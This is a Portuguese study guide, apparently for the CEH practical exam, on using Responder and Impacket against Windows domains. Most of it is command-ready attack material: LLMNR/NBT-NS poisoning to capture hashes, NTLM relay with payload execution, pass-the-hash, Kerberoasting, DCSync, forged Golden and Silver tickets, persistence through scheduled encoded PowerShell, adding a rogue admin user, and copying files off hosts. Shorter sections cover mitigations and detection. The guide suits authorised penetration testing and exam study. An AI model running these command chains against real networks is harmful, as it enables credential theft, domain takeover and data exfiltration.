Guia Completo sobre Responder para Kali Linux

1. Introdução ao Responder

O Responder é uma ferramenta poderosa de envenenamento LLMNR (Link-Local Multicast Name Resolution), NBT-NS (NetBIOS Name Service) e MDNS (Multicast DNS). Desenvolvida por Laurent Gaffié, é uma das ferramentas mais eficazes para testes de penetração em ambientes Windows. O Responder vem pré-instalado no Kali Linux e é amplamente utilizado por profissionais de segurança.

1.1 O que é Responder?

O Responder é uma ferramenta de framework de escuta que atua como um servidor rogue, respondendo a requisições de resolução de nomes específicas na rede. Ele é especialmente eficaz para capturar credenciais de autenticação em redes Windows.

1.2 Funcionamento Técnico

O Responder explora o seguinte fluxo de resolução de nomes em redes Windows:

1. Quando um cliente Windows tenta resolver um nome de host, ele primeiro verifica seu arquivo hosts local e seu cache DNS.
2. Se não encontrar, consulta o servidor DNS.
3. Se o DNS falhar, o cliente tenta usar LLMNR (Link-Local Multicast Name Resolution).
4. Se LLMNR falhar, ele recorre ao NBT-NS (NetBIOS Name Service).

O Responder intercepta essas consultas LLMNR, NBT-NS e MDNS quando a resolução DNS falha, e se passa por um servidor legítimo, capturando hashes de autenticação.

2. Capacidades do Responder

2.1 Principais Recursos

- **Envenenamento LLMNR/NBT-NS/MDNS**: Responde falsamente a requisições de resolução de nomes.
- **Servidores Rogue**: Implementa servidores HTTP, HTTPS, SMB, MSSQL, FTP, LDAP, etc.
- **Captura de Hash**: Obtém hashes NTLMv1/v2, NetNTLM, etc.
- **Análise de Tráfego**: Monitora diversas requisições de rede.
- **Captura de Credenciais em Texto Claro**: Em algumas situações, pode capturar senhas em texto claro.
- **Modo Análise**: Permite monitorar a rede sem intervenção ativa.

2.2 Protocolos Suportados

O Responder pode atuar como servidor para os seguintes protocolos:

- HTTP/HTTPS
- SMB
- MSSQL
- FTP
- LDAP
- DNS
- WPAD (Web Proxy Auto-Discovery)
- POP3
- SMTP
- IMAP

3. Instalação e Configuração

3.1 Instalação no Kali Linux

O Responder já vem pré-instalado no Kali Linux, mas caso precise reinstalar:

```bash
sudo apt update
sudo apt install responder
```

Alternativamente, você pode obter a versão mais recente do GitHub:

```bash
git clone https://github.com/lgandx/Responder
cd Responder
```

3.2 Localização dos Arquivos de Configuração

O arquivo de configuração principal está em:

- `/etc/responder/Responder.conf` (para a versão do pacote)
- `./Responder.conf` (se clonado do GitHub)

3.3 Configuração Básica

Principais opções de configuração no arquivo Responder.conf:

```ini
[Responder Core]
; Ativar ou desativar servidores (ON/OFF)
SMB = ON
HTTP = ON
HTTPS = ON
LDAP = ON
```

```
SQL = ON
FTP = ON
POP = ON
IMAP = ON
SMTP = ON

; Outros parâmetros
; RespondTo e DontRespondTo permitem especificar IPs ou hostnames específicos
```

4. Uso Básico do Responder

4.1 Comandos Básicos

Para iniciar o Responder em modo padrão:

bash

```
sudo responder -I eth0
```

Onde `eth0` é a interface de rede a ser utilizada.

4.2 Opções Comuns

bash

```
# Modo análise (sem envenenamento - apenas monitoramento)
sudo responder -I eth0 -A

# Ativar envenenamento WPAD
sudo responder -I eth0 -w

# Desabilitar SMB
sudo responder -I eth0 -d

# Forçar autenticação NTLM v1
sudo responder -I eth0 -f

# Usar arquivo de configuração alternativo
sudo responder -I eth0 -r -c /caminho/para/Responder.conf
```

4.3 Opções Avançadas

bash

```
# Envenenar respostas LLMNR específicas
sudo responder -I eth0 --lm -r -v
```

```
# Envenenar respostas específicas
sudo responder -I eth0 --fingerprint
```

5. Cenários de Ataque com Responder

5.1 Captura de Hashes NetNTLM

1. Inicie o Responder:

   ```
   bash
   sudo responder -I eth0 -v
   ```

2. Aguarde até que um cliente Windows tente acessar um recurso inexistente, como:

   ```
   \\servidor-inexistente\share
   ```

3. O Responder interceptará a solicitação e induzirá o cliente a enviar suas credenciais, que serão capturadas na forma de hashes.

5.2 Envenenamento WPAD

1. Inicie o Responder com a opção WPAD:

   ```
   bash
   sudo responder -I eth0 -w
   ```

2. Quando os clientes procurarem configurações de proxy automático, o Responder responderá com um arquivo PAC malicioso.
3. Os clientes enviarão credenciais NTLM para autenticação.

5.3 Captura de Credenciais via SMB

1. Execute o Responder:

   ```
   bash
   sudo responder -I eth0
   ```

2. Quando um usuário tentar acessar um compartilhamento SMB inexistente, o Responder responderá e forçará uma tentativa de autenticação.
3. Os hashes serão salvos no diretório `/usr/share/responder/logs/` (ou no diretório `logs/` se estiver usando a versão do GitHub).

6. Interpretação dos Resultados

6.1 Tipos de Hashes Capturados

O Responder captura principalmente hashes NetNTLMv1 e NetNTLMv2, que são armazenados nos arquivos:

- `SMB-NTLMv1-SSP-[IP_DO_CLIENTE].txt`
- `SMB-NTLMv2-SSP-[IP_DO_CLIENTE].txt`

6.2 Formato dos Hashes

Os hashes NTLMv2 têm o formato:

```
USERNAME::DOMAIN:challenge:HMAC-MD5:blob
```

Por exemplo:

```
administrador::EMPRESA:1122334455667788:26F6EDCBCA70B3C3CCF9D30AAEE6CC1D:0101
000000000000006...
```

7. Integração com Outras Ferramentas

7.1 Quebra de Hashes com Hashcat

Após capturar os hashes, você pode tentar quebrá-los:

```
bash
# Para NTLMv1
hashcat -m 5500 -a 0 hash.txt wordlist.txt


# Para NTLMv2
hashcat -m 5600 -a 0 hash.txt wordlist.txt
```

7.2 Relaying de Hashes com ntlmrelayx

Ao invés de capturar hashes para quebra posterior, você pode optar por retransmiti-los usando o ntlmrelayx (parte do Impacket):

1. Desabilite o servidor SMB no Responder (edite `Responder.conf` e defina `SMB = Off`)
2. Inicie o Responder:

   ```
   bash
   sudo responder -I eth0 -v
   ```

3. Em outra janela, inicie ntlmrelayx:

   ```
   bash
   sudo ntlmrelayx.py -t smb://alvo -smb2support
   ```

8. Defesa e Mitigações

8.1 Mitigações para LLMNR/NBT-NS

- Desabilitar LLMNR nas configurações de política de grupo:

  ```
  Configuração do Computador → Políticas → Modelos Administrativos → Rede → Configurações de DNS do cliente → "Desativar resolução de nome multicast"
  ```

- Desabilitar NetBIOS:

  ```
  Adaptador de Rede → Propriedades → IPv4 → Avançado → Guia WINS → "Desabilitar NetBIOS sobre TCP/IP"
  ```

8.2 Outras Medidas de Segurança

- Implementar filtragem de pacotes para bloquear respostas LLMNR e NBT-NS não autorizadas
- Utilizar autenticação mútua sempre que possível
- Implementar detecção de anomalias na rede
- Uso de SMB Signing
- Bloqueio após tentativas falhas de autenticação

8.3 Detecção de Ataques

Sinais de ataque com Responder:

- Múltiplas respostas LLMNR/NBT-NS de IPs não autorizados
- Aumento repentino de falhas de autenticação
- Tentativas de autenticação de protocolos incomuns

9. Técnicas Avançadas

9.1 MultiRelay

O Responder inclui uma ferramenta chamada MultiRelay que permite repassar autenticações capturadas:

```bash
cd Responder/tools
sudo python3 MultiRelay.py -t 192.168.1.10 -u ALL
```

9.2 Responder com MITM

Combinando o Responder com ataques man-in-the-middle:

```bash
# ARP spoofing com arpspoof
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
```

```
# Em outra janela, inicie o Responder
sudo responder -I eth0 -v
```

9.3 Criação de Regras Personalizadas

Você pode criar filtros personalizados no arquivo `Responder.conf`:

```
RespondTo = 10.0.0.1,10.0.0.5
DontRespondTo = 10.0.0.10,10.0.0.254
```

10. Estudo de Casos para o Exame CEH

10.1 Cenário de Pentest Interno

Passos para um pentest interno usando Responder:

1. Reconhecimento passivo da rede
2. Iniciação do Responder em modo análise para identificar alvos potenciais
3. Alteração para modo ativo para captura de hashes
4. Quebra de hashes ou relay de autenticação
5. Escalação de privilégios
6. Documentação dos resultados

10.2 Pontos Críticos para o Exame

- Conhecer os comandos principais e suas opções
- Entender o funcionamento do protocolo NTLM
- Saber interpretar os logs e hashes capturados
- Compreender as mitigações e como contorná-las
- Dominar a integração com outras ferramentas

Guia Completo sobre Impacket para Kali Linux

1. Introdução ao Impacket

Impacket é uma coleção de classes Python para trabalhar com protocolos de rede. É uma ferramenta extremamente versátil, focada principalmente em protocolos Microsoft Windows, que fornece acesso de baixo nível à implementação de pacotes de rede e alguns protocolos. Desenvolvido pela SecureAuth, o Impacket contém implementações para protocolos de autenticação como Kerberos, NTLM e vários módulos para manipulação e comunicação através da rede.

1.1 O que é Impacket?

Impacket é um conjunto de ferramentas e bibliotecas Python que permite aos profissionais de segurança trabalhar com protocolos de rede, especialmente aqueles utilizados em ambientes Windows. Ela fornece:

- Implementações de protocolo de rede de baixo nível
- Acesso à interface de pacotes de rede
- Ferramentas para automatizar ataques em protocolos Windows
- Scripts para exploração e movimentação lateral

1.2 Principais Recursos

- Implementação de protocolos: SMB1-3, MS-DCERPC, NTLM, Kerberos, MS-SQL, LDAP
- Criação e manipulação de pacotes de rede
- Scripts prontos para uso em testes de penetração
- Suporte a múltiplas técnicas de autenticação
- Interação com serviços Windows remotos

2. Instalação e Configuração

2.1 Instalação no Kali Linux

O Impacket já vem pré-instalado no Kali Linux, mas caso precise reinstalar:

```
bash
sudo apt update
sudo apt install python3-impacket impacket-scripts
```

Para obter a versão mais recente do GitHub:

```
bash
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install -r requirements.txt
sudo python3 setup.py install
```

2.2 Verificação da Instalação

Para verificar a instalação, você pode executar qualquer script Impacket:

```
bash
psexec.py -h
```

2.3 Localização dos Scripts

No Kali Linux, os scripts Impacket estão localizados em:

```
/usr/share/doc/python3-impacket/examples/
```

3. Principais Ferramentas do Impacket

3.1 psexec.py - Execução Remota de Comandos

Similar ao PsExec da SysInternals, permite executar comandos em sistemas Windows remotos:

```
bash
psexec.py administrador:senha@192.168.1.10
psexec.py dominio/administrador:senha@192.168.1.10
psexec.py -hashes LM:NT administrador@192.168.1.10
```

3.2 wmiexec.py - Execução via WMI

Executa comandos remotamente usando WMI, gerando menos logs:

```
bash
wmiexec.py administrador:senha@192.168.1.10
wmiexec.py -hashes LM:NT administrador@192.168.1.10
```

3.3 smbexec.py - Execução via SMB

Executa comandos através de SMB sem criar serviços no sistema alvo:

```
bash
smbexec.py administrador:senha@192.168.1.10
smbexec.py -hashes LM:NT administrador@192.168.1.10
```

3.4 atexec.py - Execução via Task Scheduler

Executa comandos usando o Agendador de Tarefas do Windows:

```
bash
atexec.py administrador:senha@192.168.1.10 "whoami"
atexec.py -hashes LM:NT administrador@192.168.1.10 "whoami"
```

3.5 secretsdump.py - Extração de Hashes

Extrai hashes do SAM e NTDS.dit:

```
bash
# Extração local (SAM)
secretsdump.py -sam SAM -system SYSTEM LOCAL

# Extração remota
secretsdump.py administrador:senha@192.168.1.10
```

```
secretsdump.py -hashes LM:NT administrador@192.168.1.10

secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY -hashes
lmhash:nthash LOCAL
```

3.6 GetNPUsers.py - ASREPRoast

Solicita tickets TGT para usuários que não exigem pré-autenticação Kerberos:

```
bash

GetNPUsers.py dominio/ -dc-ip 192.168.1.1 -usersfile usuarios.txt

GetNPUsers.py dominio/usuario -dc-ip 192.168.1.1 -no-pass
```

3.7 GetUserSPNs.py - Kerberoasting

Executa ataques Kerberoasting para obter tickets de serviço:

```
bash

GetUserSPNs.py dominio/usuario:senha -dc-ip 192.168.1.1 -request

GetUserSPNs.py dominio/usuario:senha -dc-ip 192.168.1.1 -request-user
servidor$
```

3.8 ntlmrelayx.py - Relaying de NTLM

Ferramenta poderosa para relaying de autenticações NTLM:

```
bash

# Relay para obter shell

ntlmrelayx.py -t smb://192.168.1.10 -smb2support -c "powershell -enc ..."


# Relay para várias máquinas

ntlmrelayx.py -tf targets.txt -smb2support


# Relay para extrair hashes do DC

ntlmrelayx.py -t ldaps://dc.dominio.local -dc-ip 192.168.1.1 --dump-ldap --
no-dump
```

3.9 dcomexec.py - Execução via DCOM

Execução remota via DCOM (Distributed COM):

```
bash

dcomexec.py administrador:senha@192.168.1.10

dcomexec.py -hashes LM:NT administrador@192.168.1.10
```

3.10 rpcdump.py - Enumeração de RPC

Enumera endpoints RPC disponíveis:

```
bash

rpcdump.py 192.168.1.10
```

4. Uso Detalhado das Ferramentas Principais

4.1 PSExec Detalhado

O PSExec funciona da seguinte forma:

1. Cria um serviço remoto no sistema alvo
2. Transfere um executável para `ADMIN$` ou `C$`
3. Inicia o serviço para executar comandos
4. Coleta a saída dos comandos
5. Remove o serviço após o uso

```
bash

# Opções comuns

psexec.py administrador:senha@192.168.1.10 -codec cp1252     # Especificar codificação

psexec.py administrador:senha@192.168.1.10 -set-remote-host  # Define o hostname remoto

psexec.py administrador:senha@192.168.1.10 -debug            # Modo debug
```

4.2 WMIExec Detalhado

O WMIExec usa WMI para execução remota:

1. Estabelece uma conexão DCOM
2. Usa WMI para criar processos remotos
3. Executa comandos sem criar um serviço
4. Mais discreto que PSExec em termos de logs

```
bash

# Opções comuns

wmiexec.py administrador:senha@192.168.1.10 -codec cp1252  # Especificar codificação

wmiexec.py administrador:senha@192.168.1.10 -shell-type powershell  # Usar PowerShell
```

4.3 SMBExec Detalhado

O SMBExec funciona:

1. Cria um serviço temporário para executar comandos
2. Redireciona a saída para um named pipe
3. Lê a saída através do pipe

4. Remove o serviço

```
bash

# Opções comuns

smbexec.py administrador:senha@192.168.1.10 -codec cp1252  # Especificar codificação

smbexec.py administrador:senha@192.168.1.10 -share C$      # Especificar compartilhamento
```

4.4 SecretsDump Detalhado

O SecretsDump pode extrair:

- Hashes SAM local
- Hashes NTDS.dit de controladores de domínio
- Chaves de criptografia LSA
- Credenciais em cache
- Tickets Kerberos

```
bash

# Dump remoto completo

secretsdump.py administrador:senha@192.168.1.10 -just-dc


# Extrair apenas hashes SAM

secretsdump.py administrador:senha@192.168.1.10 -just-dc-ntlm


# Extrair LSA secrets

secretsdump.py administrador:senha@192.168.1.10 -just-dc-user "DOMINIO/Administrador"
```

4.5 NTLMRelayx Detalhado

```
bash

# Opções avançadas

ntlmrelayx.py -t smb://192.168.1.10 -smb2support -e payload.exe  # Executar payload

ntlmrelayx.py -t ldap://192.168.1.1 -smb2support --escalate-user usuario  # Escalar privilégios

ntlmrelayx.py -t smb://192.168.1.10 -smb2support -c "powershell -enc ..." -socks  # Abrir proxy SOCKS
```

5. Técnicas Avançadas com Impacket

5.1 Pass-the-Hash

Usando hashes NTLM em vez de senhas em texto claro:

```
bash
psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
administrador@192.168.1.10
wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
administrador@192.168.1.10
```

5.2 Pass-the-Ticket

Usando tickets Kerberos para autenticação:

```
bash
# Exportar ticket
export KRB5CCNAME=/tmp/ticket.ccache

# Usar o ticket
psexec.py -k -no-pass dominio/administrador@server.dominio
wmiexec.py -k -no-pass dominio/administrador@server.dominio
```

5.3 Over-Pass-the-Hash (Pass-the-Key)

Convertendo hashes NTLM em tickets Kerberos:

```
bash
# Gerar um TGT a partir do hash
getTGT.py dominio/usuario -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

# Usar o ticket gerado
export KRB5CCNAME=/tmp/usuario.ccache
psexec.py -k -no-pass dominio/usuario@server.dominio
```

5.4 DCSync

Usando o secretsdump.py para simular a sincronização de controladores de domínio:

```
bash
secretsdump.py -just-dc dominio/administrador:senha@dc.dominio.local
secretsdump.py -just-dc -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
dominio/administrador@dc.dominio.local
```

5.5 Silver Ticket

Criação e uso de tickets Silver (TGS forjados):

```
bash
# Criar ticket silver
```

```
ticketer.py -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 -domain dominio.local -
spn CIFS/server.dominio.local usuario


# Usar o ticket
export KRB5CCNAME=/tmp/usuario.ccache
smbclient.py -k dominio/usuario@server.dominio.local
```

5.6 Golden Ticket

Criação e uso de tickets Golden (TGT forjados):

```
bash
# Criar ticket golden
ticketer.py -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 -domain dominio.local -
domain-sid S-1-5-21-... administrador


# Usar o ticket
export KRB5CCNAME=/tmp/administrador.ccache
psexec.py -k -no-pass dominio/administrador@server.dominio.local
```

6. Cenários de Uso para Exame CEH

6.1 Enumeração de Rede e Reconhecimento

```
bash
# Enumeração SMB
smbclient.py dominio/usuario:senha@192.168.1.10
lookupsid.py dominio/usuario:senha@192.168.1.10
samrdump.py dominio/usuario:senha@192.168.1.10


# Enumeração Kerberos
GetADUsers.py -all dominio/usuario:senha -dc-ip 192.168.1.1
GetUserSPNs.py dominio/usuario:senha -dc-ip 192.168.1.1
```

6.2 Movimento Lateral

Passos para movimentação lateral:

1. Obter acesso inicial
2. Extrair credenciais com secretsdump.py
3. Utilizar WMIExec ou PSExec para acessar outras máquinas
4. Coletar mais credenciais
5. Repetir o processo

```
bash
```

```
# Exemplo de fluxo
secretsdump.py administrador:senha@192.168.1.10
wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
administrador@192.168.1.20
```

6.3 Escalação de Privilégios

```
bash
# Obter acesso como usuário comum
wmiexec.py usuario:senha@192.168.1.10

# Explorar serviços vulneráveis
services.py dominio/usuario:senha@192.168.1.10 list
services.py dominio/usuario:senha@192.168.1.10 change -name badservice -bin
"net user hacker Password123! /add"

# Explorar ACLs
findDelegation.py dominio/usuario:senha@192.168.1.1
```

6.4 Exfiltração de Dados

```
bash
# Usar SMB para transferência de arquivos
smbclient.py dominio/usuario:senha@192.168.1.10
> use C$
> cd \Users\Administrator\Documents
> get secret.xlsx

# Alternativa com cmd.exe
wmiexec.py administrador:senha@192.168.1.10 "type
C:\caminho\para\arquivo.txt"
```

7. Defesa e Mitigações

7.1 Detecção de Ataques Impacket

- Monitorar eventos de segurança relacionados a:
  - Criação de serviços temporários
  - Conexões SMB de IPs não autorizados
  - Execução de comandos através de WMI/DCOM
  - Tentativas de autenticação com tickets forjados

7.2 Mitigações para Técnicas do Impacket

- Ativar SMB Signing para evitar relay de NTLM

- Implementar Credential Guard para proteger hashes NTLM
- Habilitar autenticação Kerberos sempre que possível
- Usar políticas de acesso à rede para limitar movimentação lateral
- Implementar PAM (Privileged Access Management)
- Utilizar LAPS (Local Administrator Password Solution)

7.3 Logging e Auditoria

Configurações ideais para detectar ataques com Impacket:

- Auditar acessos a objetos
- Auditar logons de conta
- Monitorar criação e exclusão de serviços
- Ativar logging avançado para PowerShell
- Implementar monitoramento de tráfego SMB e RPC

8. Dicas para o Exame CEH

8.1 Conceitos-Chave para Memorizar

- Diferenças entre as ferramentas de execução remota (PSExec, WMIExec, SMBExec, etc.)
- Opções importantes de cada ferramenta
- Metodologias de autenticação (Pass-the-Hash, Pass-the-Ticket, etc.)
- Formatos de hashes e tickets
- Técnicas de relay e seus casos de uso

8.2 Fluxos de Ataque a Praticar

1. Captura de hashes com Responder + Relay com ntlmrelayx.py
2. Extração de credenciais com secretsdump.py
3. Movimentação lateral com wmiexec.py e psexec.py
4. Ataques Kerberos (Kerberoasting, ASREPRoast)
5. Exploração de privilégios com DCSync

8.3 Laboratório Recomendado

Para praticar as técnicas do Impacket, configure um laboratório com:

- Windows Server (DC)
- Várias estações Windows
- Configurações de domínio realistas
- Contas de usuário com diferentes níveis de privilégio

9. Recursos para Estudo Aprofundado

9.1 Documentação Oficial

- Repositório Impacket
- Wiki do Impacket

9.2 Ferramentas Complementares

- Responder (para captura de hashes)
- CrackMapExec (automação de testes de penetração)
- Mimikatz (extração de credenciais)
- BloodHound (análise de permissões em domínios)

9.3 Exercícios Práticos

- Atacar uma máquina Windows e extrair hashes
- Realizar movimentação lateral em um ambiente de domínio
- Executar ataques Kerberos (Kerberoasting, ASREPRoast)
- Implementar técnicas de relay NTLM
- Forjar tickets Kerberos (Silver e Golden)

10. Resumo de Comandos Importantes

```
bash
# Execução Remota
psexec.py dominio/usuario:senha@alvo cmd.exe
wmiexec.py -hashes LM:NT usuario@alvo
smbexec.py dominio/usuario:senha@alvo
atexec.py dominio/usuario:senha@alvo "whoami"

# Extração de Hashes
secretsdump.py dominio/usuario:senha@alvo
secretsdump.py -hashes LM:NT usuario@alvo
secretsdump.py -just-dc dominio/usuario:senha@dc.dominio.local

# Relay NTLM
ntlmrelayx.py -t smb://alvo -smb2support
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Ataques Kerberos
GetUserSPNs.py dominio/usuario:senha -dc-ip ip_dc -request
GetNPUsers.py dominio/ -dc-ip ip_dc -usersfile users.txt
ticketer.py -nthash hash -domain dominio -domain-sid SID admin
```

Guia de Uso Combinado: Responder e Impacket para Testes de Penetração

1. Introdução ao Uso Integrado

A combinação do Responder com as ferramentas do Impacket cria um poderoso fluxo de trabalho para testes de penetração em ambientes Windows. Este guia explora como utilizar estas ferramentas de forma integrada para maximizar a eficácia em avaliações de segurança e exames como o CEH prático.

1.1 Fluxo de Trabalho Integrado

A estratégia geral de uso combinado segue este fluxo:

1. **Captura de Credenciais**: Usar o Responder para obter hashes NTLM
2. **Relaying**: Utilizar ntlmrelayx.py para repassar as autenticações
3. **Exploração**: Aproveitar o acesso obtido com ferramentas do Impacket
4. **Movimentação Lateral**: Expandir o acesso na rede com técnicas do Impacket
5. **Persistência**: Estabelecer acesso persistente

2. Cenário Prático: Ataque Completo

2.1 Configuração do Ambiente

Antes de iniciar o ataque:

```
bash
# Verificar interface de rede
ip a

# Configurar encaminhamento de pacotes (opcional para alguns cenários)
echo 1 > /proc/sys/net/ipv4/ip_forward
```

2.2 Captura de Hashes com Responder

```
bash
# Configurar Responder (editar Responder.conf)
# Desabilitar SMB = Off quando for usar relay

# Iniciar Responder
sudo responder -I eth0 -v -w
```

2.3 NTLM Relay com Impacket

Em outra janela de terminal, configurar o relay:

```
bash
# Relay para um alvo específico
sudo ntlmrelayx.py -t smb://192.168.1.10 -smb2support

# Relay para múltiplos alvos
sudo ntlmrelayx.py -tf targets.txt -smb2support

# Relay com execução de comando
sudo ntlmrelayx.py -t smb://192.168.1.10 -smb2support -c "whoami /all > C:\windows\temp\output.txt"

# Relay com captura de SAM
sudo ntlmrelayx.py -t smb://192.168.1.10 -smb2support -d dominio -e payload.exe --dump
```

2.4 Exploração com SOCKS Proxy

```
bash
# Configurar proxy SOCKS
sudo ntlmrelayx.py -tf targets.txt -smb2support -socks

# Em outra janela, configurar proxychains
nano /etc/proxychains.conf
# Adicionar: socks4 127.0.0.1 1080

# Usar ferramentas através do proxy
proxychains psexec.py administrador@192.168.1.10 -no-pass
```

2.5 Movimentação Lateral com Impacket

Após obter credenciais:

```
bash
# Executar comandos remotamente
psexec.py dominio/administrador:senha@192.168.1.20
wmiexec.py -hashes :NTHASH administrador@192.168.1.20

# Extrair mais credenciais
secretsdump.py dominio/administrador:senha@192.168.1.20
```

3. Técnicas Avançadas Combinadas

3.1 Captura e Crack Offline

```
bash
# Capturar hashes com Responder
sudo responder -I eth0 -v

# Crackear hashes offline
hashcat -m 5600 SMB-NTLMv2-SSP-192.168.1.10.txt wordlist.txt
```

3.2 Relay para Controlador de Domínio

```
bash
# Configurar Responder (SMB = Off)
sudo responder -I eth0 -v -w

# Relay para DC para extrair informações LDAP
sudo ntlmrelayx.py -t ldaps://dc.dominio.local --dump-ldap --no-dump
```

3.3 Ataque de Man-in-the-Middle

```
bash
# Configurar ARP spoofing
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

# Iniciar Responder
sudo responder -I eth0 -v

# Em outra janela, configurar relay
sudo ntlmrelayx.py -tf targets.txt -smb2support
```

3.4 Ataque a Controlador de Domínio

Após obter credenciais de administrador de domínio:

```
bash
# DCSync para extrair hashes de todos os usuários
secretsdump.py dominio/administrador:senha@dc.dominio.local -just-dc

# Criar Golden Ticket
ticketer.py -nthash HASH_KRBTGT -domain dominio.local -domain-sid S-1-5-21-
... administrador

# Usar o ticket para acesso
```

```
export KRB5CCNAME=/tmp/administrador.ccache
psexec.py -k -no-pass dominio/administrador@alvo.dominio.local
```

4. Estratégias de Post-Exploitation

4.1 Persistência

```
bash
# Via agendador de tarefas
atexec.py dominio/administrador:senha@192.168.1.10 "schtasks /create /tn \"Manutenção\" /tr \"cmd.exe /c powershell -e ...\" /sc DAILY /st 12:00 /ru SYSTEM"

# Via WMI
wmiexec.py dominio/administrador:senha@192.168.1.10 "powershell -c \"$trigger = New-JobTrigger -AtStartup; Register-ScheduledJob -Name Manutenção -Trigger $trigger -ScriptBlock {cmd.exe /c powershell -e ...}\""
```

4.2 Extração de Dados

```
bash
# Via SMB
smbclient.py dominio/administrador:senha@192.168.1.10
> use C$
> cd \Users\Administrator\Documents
> get secret.xlsx

# Usando comandos diretos
wmiexec.py dominio/administrador:senha@192.168.1.10 "type C:\caminho\para\arquivo.txt"
```

4.3 Pivoting com Impacket

```
bash
# Configurar relay com SOCKS
sudo ntlmrelayx.py -tf targets.txt -socks

# Usar proxychains
proxychains GetUserSPNs.py dominio/administrador@dc.dominio.local -request
proxychains secretsdump.py dominio/administrador@dc.dominio.local
```

5. Otimizações para o Exame CEH

5.1 Workflows Eficientes

Para o exame CEH prático, é fundamental dominar alguns workflows rápidos:

1. **Captura Rápida**:

```
bash
# Terminal 1: Iniciar Responder
sudo responder -I eth0 -v
# Terminal 2: Configurar relay
sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami > C:\temp\pwned.txt"
```

2. **Validação de Credenciais**:

```
bash
# Testar rapidamente múltiplas credenciais
crackmapexec smb 192.168.1.0/24 -u usuario -p senha
crackmapexec smb 192.168.1.0/24 -u usuario -H NTHASH
```

3. **Extração Rápida**:

```
bash
# Extrair SAM local
secretsdump.py administrador:senha@192.168.1.10 -just-sam
# Extrair hashes de domínio
secretsdump.py dominio/administrador:senha@dc.dominio.local -just-dc-ntlm
```

5.2 Uso de Scripts

Criar scripts para automatizar tarefas comuns:

```
bash
#!/bin/bash
# responder_relay.sh
# Configurar Responder e ntlmrelayx automaticamente

# Desativar SMB em Responder.conf
sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf

# Iniciar Responder em background
responder -I eth0 -v &
RESPONDER_PID=$!

# Aguardar inicialização
```

```
sleep 2

# Iniciar relay
ntlmrelayx.py -tf targets.txt -smb2support

# Ao finalizar, restaurar configuração
trap "kill $RESPONDER_PID; sed -i 's/SMB = Off/SMB = On/g'
/etc/responder/Responder.conf" EXIT
```

5.3 Cheatsheet para o Exame

Criar um documento resumido com os comandos mais importantes:

```
RESPONDER
- sudo responder -I eth0 -v
- sudo responder -I eth0 -A (modo análise)
- sudo responder -I eth0 -w (WPAD)

NTLMRELAYX
- sudo ntlmrelayx.py -t smb://192.168.1.10 -smb2support
- sudo ntlmrelayx.py -tf targets.txt -smb2support -c "comando"
- sudo ntlmrelayx.py -t ldaps://dc.dominio -dc-ip IP --dump-ldap

EXECUÇÃO REMOTA
- psexec.py dominio/usuario:senha@alvo
- wmiexec.py -hashes :NTHASH usuario@alvo
- smbexec.py dominio/usuario:senha@alvo
- dcomexec.py dominio/usuario:senha@alvo

EXTRAÇÃO
- secretsdump.py dominio/usuario:senha@alvo
- secretsdump.py -just-dc dominio/usuario:senha@dc
- GetNPUsers.py dominio/ -dc-ip IP -usersfile users.txt
- GetUserSPNs.py dominio/usuario:senha -dc-ip IP -request
```

6. Cenários Específicos para CEH

6.1 Cenário: Ambiente Corporativo

1. **Reconhecimento**:

   ```
   bash
   ```

```
# Descobrir hosts ativos
sudo nmap -sn 192.168.1.0/24

# Identificar controladores de domínio
sudo responder -I eth0 -A
```

2. **Captura de Credenciais**:

```
bash
# Desativar SMB em Responder.conf
sudo responder -I eth0 -v

# Configurar relay
sudo ntlmrelayx.py -tf targets.txt -smb2support -w -e payload.exe
```

3. **Movimentação**:

```
bash
# Após obter credenciais
secretsdump.py dominio/usuario:senha@alvo
wmiexec.py -hashes :NTHASH administrador@outro_alvo
```

4. **Elevação de Privilégios**:

```
bash
# DCSync
secretsdump.py dominio/administrador:senha@dc -just-dc

# Golden Ticket
ticketer.py -nthash HASH -domain DOMINIO -domain-sid SID admin
```

6.2 Cenário: Ataque Direcionado

1. **Alvo Específico**:

```
bash
# Configurar relay para um único alvo
sudo ntlmrelayx.py -t smb://192.168.1.10 -smb2support -e payload.exe

# Iniciar Responder
sudo responder -I eth0 -v
```

2. **Exploração**:

```
bash
```

```
# Após obter acesso
secretsdump.py administrador:senha@192.168.1.10

# Executar comandos
wmiexec.py -hashes :NTHASH administrador@192.168.1.10
```

3. **Exfiltração**:

```
bash
# Obter arquivos
smbclient.py administrador:senha@192.168.1.10
> use C$
> cd \Users\Administrator\Documents
> get secrets.docx
```

7. Detecção e Prevenção

7.1 Contramedidas para Responder + Impacket

- **Implementar SMB Signing**: Para prevenir NTLM relay
- **Desabilitar NTLM**: Usar apenas Kerberos quando possível
- **Desabilitar LLMNR/NetBIOS**: Prevenir envenenamento pelo Responder
- **Implementar Account Tiering**: Segregar contas administrativas
- **Usar Just Enough Administration (JEA)**: Limitar privilégios

7.2 Monitoramento Efetivo

- Monitorar eventos de autenticação (4624, 4625)
- Monitorar criação de serviços temporários
- Detectar múltiplas conexões SMB de um único host
- Monitorar solicitações LDAP não usuais
- Implementar detecção de anomalias para protocolos de autenticação

8. Recursos Adicionais e Preparação para o Exame

8.1 Ferramentas Complementares

- **CrackMapExec**: Automação de testes em Windows/Active Directory
- **Mimikatz**: Extração avançada de credenciais
- **BloodHound**: Mapeamento de relações em Active Directory
- **PowerView**: Scripts PowerShell para enumeração de AD
- **Covenant/Empire**: C2 frameworks para post-exploitation

8.2 Preparação Final para o Exame CEH

- **Laboratório Prático**: Configurar AD com múltiplos hosts Windows

- **Documentação**: Manter cheatsheets prontos dos comandos
- **Automação**: Criar scripts para acelerar tarefas comuns
- **Compreensão**: Entender os protocolos subjacentes (SMB, NTLM, Kerberos)
- **Troubleshooting**: Praticar solução de problemas comuns

8.3 Solução de Problemas Comuns

- **Responder não captura hashes**: Verificar interface de rede e configuração
